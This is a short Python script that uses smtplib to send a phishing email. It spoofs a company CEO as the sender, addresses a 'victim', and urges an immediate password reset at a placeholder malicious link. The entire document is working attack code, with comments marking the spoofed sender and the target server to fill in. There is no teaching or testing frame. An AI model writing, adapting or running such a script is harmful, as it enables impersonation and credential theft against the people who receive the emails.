import smtplib
# Set up the server
server = smtplib.SMTP('smtp.example.com', 25) # Replace with the target SMTP server and port
server.ehlo()
# Compose the message
from_email = "ceo@company.com" # Spoofed sender
to_email = "victim@targetdomain.com"
subject = "Urgent: Security Update"
message = """\
From: CEO <ceo@company.com>
To: <victim@targetdomain.com>
Subject: {subject}
Dear User,
Please reset your password immediately at the following link:
http://malicious-link.com
Sincerely,
CEO
"""
# Send the email
server.sendmail(from_email, to_email, message)
server.quit()